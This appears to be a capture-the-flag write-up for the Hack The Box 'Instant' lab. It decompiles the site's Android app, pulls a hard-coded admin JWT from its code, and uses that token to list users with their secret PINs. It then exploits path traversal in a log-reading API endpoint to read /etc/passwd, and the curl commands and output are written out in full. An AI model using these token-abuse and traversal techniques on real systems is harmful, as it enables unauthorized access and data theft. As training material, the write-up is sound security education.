Web


Nmap discovered a Web server on the target port 80 The running service is

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -I http://$IP 
HTTP/1.1 301 Moved Permanently
Date: Sat, 12 Oct 2024 19:03:59 GMT
Server: Apache/2.4.58 (Ubuntu)
Location: http://instant.htb/
Content-Type: text/html; charset=iso-8859-1

301 to a domain; instant.htb

The domain information has been appended to the /etc/hosts on Kali for local DNS resolution

Webroot It features a electronic funds transfer solution

The website is static, featuring a dedicated application

Downloading the apk file

APK File


┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ file instant.apk                                   
instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block

Downloaded file is a signed APK file

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ apktool d instant.apk   
 
I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
 
┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ cd instant ; ll    
total 48K
4.0K -rw-rw-r--   1 kali kali 2.6K Oct 12 21:15 apktool.yml
4.0K drwxrwxr-x  10 kali kali 4.0K Oct 12 21:15 .
4.0K drwxrwxr-x   3 kali kali 4.0K Oct 12 21:15 META-INF
4.0K drwxrwxr-x   3 kali kali 4.0K Oct 12 21:15 original
4.0K drwxrwxr-x   3 kali kali 4.0K Oct 12 21:15 unknown
4.0K drwxrwxr-x   8 kali kali 4.0K Oct 12 21:15 kotlin
4.0K drwxrwxr-x   6 kali kali 4.0K Oct 12 21:15 lib
4.0K drwxrwxr-x   3 kali kali 4.0K Oct 12 21:15 assets
4.0K drwxrwxr-x  11 kali kali 4.0K Oct 12 21:15 smali
4.0K drwxrwxr-x 140 kali kali 4.0K Oct 12 21:15 res
4.0K -rw-rw-r--   1 kali kali 3.6K Oct 12 21:15 AndroidManifest.xml
4.0K drwxrwxr-x   4 kali kali 4.0K Oct 12 21:15 ..

Unpackaging the instant.apk file using apktool reveals the internal components

Checking the res/xml/network_security_config.xml file reveals 2 sub-domains;

  • mywalletv1.instant.htb
  • swagger-ui.instant.htb

API


The /etc/hosts file on Kali has been updated

The mywalletv1.instant.htb sub-domain appears to be the API endpoint, while the swagger-ui.instant.htb seems to be the swagger endpoint for the API endpoint

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -I http://mywalletv1.instant.htb/
HTTP/1.1 404 NOT FOUND
Date: Sat, 12 Oct 2024 20:09:25 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: text/html; charset=utf-8
Content-Length: 207

404

Swagger works. Redirected to /apidoc There is all the API endpoints

Admin features are likely locked behind authentication. I will try out the registration API endpoint

Registration / Authentication


┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/register \
-H 'Content-Type: application/json' \
-d '{"email": "test@test",  "password": "qwe123",  "pin": "12345",  "username": "test"}'
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 20:20:41 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 59
 
{"Description":"User Registered! Login Now!","Status":201}

Registered

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/login \   
-H 'Content-Type: application/json' \
-d '{"username": "test",  "password": "qwe123"}'                
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 20:22:15 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 237
 
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjRhYTRlYmEwLTcxNzEtNGQ5Mi1hMmQ1LTQ1ZmIyM2QzMzQ5MiIsImV4cCI6MTcyODc2ODEzNX0.ecDfhFrBlJVdchykB9cyQNxK92O1i-H7z8yqhBc35D8","Status":201}

Successfully authenticated and given a JWT

The role is set to instantian

Admin JWT


┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ grep -r 'ey' . 
 
[...REDACTED...]
 
./smali/com/instantlabs/instant/AdminActivities.smali:    const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
 
[...REDACTED...]

I can search for JWT by setting the search string, starting with ey, within the decompiled APK directory

┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ cat ./smali/com/instantlabs/instant/AdminActivities.smali 
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"
 
 
# direct methods
.method public constructor <init>()V
    .locals 0
 
    .line 19
    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
 
    return-void
.end method
 
.method private TestAdminAuthorization()Ljava/lang/String;
    .locals 4
 
    .line 22
    new-instance v0, Lokhttp3/OkHttpClient;
 
    invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V
 
    .line 23
    new-instance v1, Lokhttp3/Request$Builder;
 
    invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V
 
    const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
 
    .line 24
    invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
 
    move-result-object v1
 
    const-string v2, "Authorization"
 
    const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
 
    .line 25
    invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
 
    move-result-object v1
 
    .line 26
    invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
 
    move-result-object v1
 
    .line 27
    invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
 
    move-result-object v0
 
    new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;
 
    invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V
 
    invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V
 
    const-string v0, "Done"
 
    return-object v0
.end method

It reveals what appears to be the admin JWT; eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA

┌──(kali㉿kali)-[~/…/htb/labs/instant/instant]
└─$ jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
 
        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.6                \______|             @ticarpi      
 
Original JWT: 
 
=====================
Decoded Token Values:
=====================
 
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
 
Token payload values:
[+] id = 1
[+] role = "Admin"
[+] walId = "f0eca6e5-783a-471d-9d8f-0162cbc900db"
[+] exp = 33259303656    ==> TIMESTAMP = 3023-12-12 16:27:36 (UTC)
 
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

The role parameter is set to Admin

I can now perform admin-specific action by making a request to those API endpoints above

Admin API


It turns out the admin JWT header is Authorization. Not Access-Token.

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -s http://mywalletv1.instant.htb/api/v1/admin/list/users \
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' | jq
 
{
  "Status": 200,
  "Users": [
    {
      "email": "admin@instant.htb",
      "role": "Admin",
      "secret_pin": 87348,
      "status": "active",
      "username": "instantAdmin",
      "wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
    },
    {
      "email": "shirohige@instant.htb",
      "role": "instantian",
      "secret_pin": 42845,
      "status": "active",
      "username": "shirohige",
      "wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
    },
    {
      "email": "test@test",
      "role": "instantian",
      "secret_pin": 12345,
      "status": "active",
      "username": "test",
      "wallet_id": "4aa4eba0-7171-4d92-a2d5-45fb23d33492"
    }
  ]
}

The existing user is shirohige

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/admin/view/logs \     
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'     
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 20:59:49 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 64
 
{"Files":["1.log"],"Path":"/home/shirohige/logs/","Status":201}

Checking the available log files reveals that there is a single log file; /home/shirohige/logs/1.log This confirms that the shirohige user is a valid system user

┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -i http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log \
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA'
HTTP/1.1 201 CREATED
Date: Sat, 12 Oct 2024 21:02:58 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 79
 
{"/home/shirohige/logs/1.log":["This is a sample log testing\n"],"Status":201}

Reading the log file requires providing the parameter, log_file_name, to the /api/v1/admin/read/log API endpoint

LFI


┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ curl -s 'http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../../etc/passwd' \
-H 'Accept: application/json' \
-H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA' | jq
{
  "/home/shirohige/logs/../../../../etc/passwd": [
    "root:x:0:0:root:/root:/bin/bash\n",
    "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n",
    "bin:x:2:2:bin:/bin:/usr/sbin/nologin\n",
    "sys:x:3:3:sys:/dev:/usr/sbin/nologin\n",
    "sync:x:4:65534:sync:/bin:/bin/sync\n",
    "games:x:5:60:games:/usr/games:/usr/sbin/nologin\n",
    "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n",
    "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n",
    "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n",
    "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n",
    "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n",
    "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n",
    "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n",
    "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n",
    "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n",
    "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n",
    "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n",
    "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n",
    "systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n",
    "systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\n",
    "dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false\n",
    "messagebus:x:101:102::/nonexistent:/usr/sbin/nologin\n",
    "systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin\n",
    "pollinate:x:102:1::/var/cache/pollinate:/bin/false\n",
    "polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin\n",
    "usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n",
    "sshd:x:104:65534::/run/sshd:/usr/sbin/nologin\n",
    "shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
    "_laurel:x:999:990::/var/log/laurel:/bin/false\n"
  ],
  "Status": 201
}

LFI confirmed at the log_file_name parameter

Fuzzing


┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -t 200 -u http://instant.htb/FUZZ -ic
________________________________________________
 :: Method           : GET
 :: URL              : http://instant.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 217ms]
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 317ms]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 84ms]
downloads               [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 383ms]
img                     [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 93ms]
javascript              [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 79ms]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 58ms]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 63ms]
:: Progress: [20476/20476] :: Job [1/1] :: 2100 req/sec :: Duration: [0:00:12] :: Errors: 0 ::

N/A

Virtual Hosts / Sub-domain Discovery


┌──(kali㉿kali)-[~/archive/htb/labs/instant]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://$IP/ -H 'Host: FUZZ.instant.htb' -ic -mc all -fw 20
________________________________________________
 :: Method           : GET
 :: URL              : http://10.129.210.105/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.instant.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 20
________________________________________________
:: Progress: [114437/114437] :: Job [1/1] :: 662 req/sec :: Duration: [0:01:50] :: Errors: 0 ::

N/A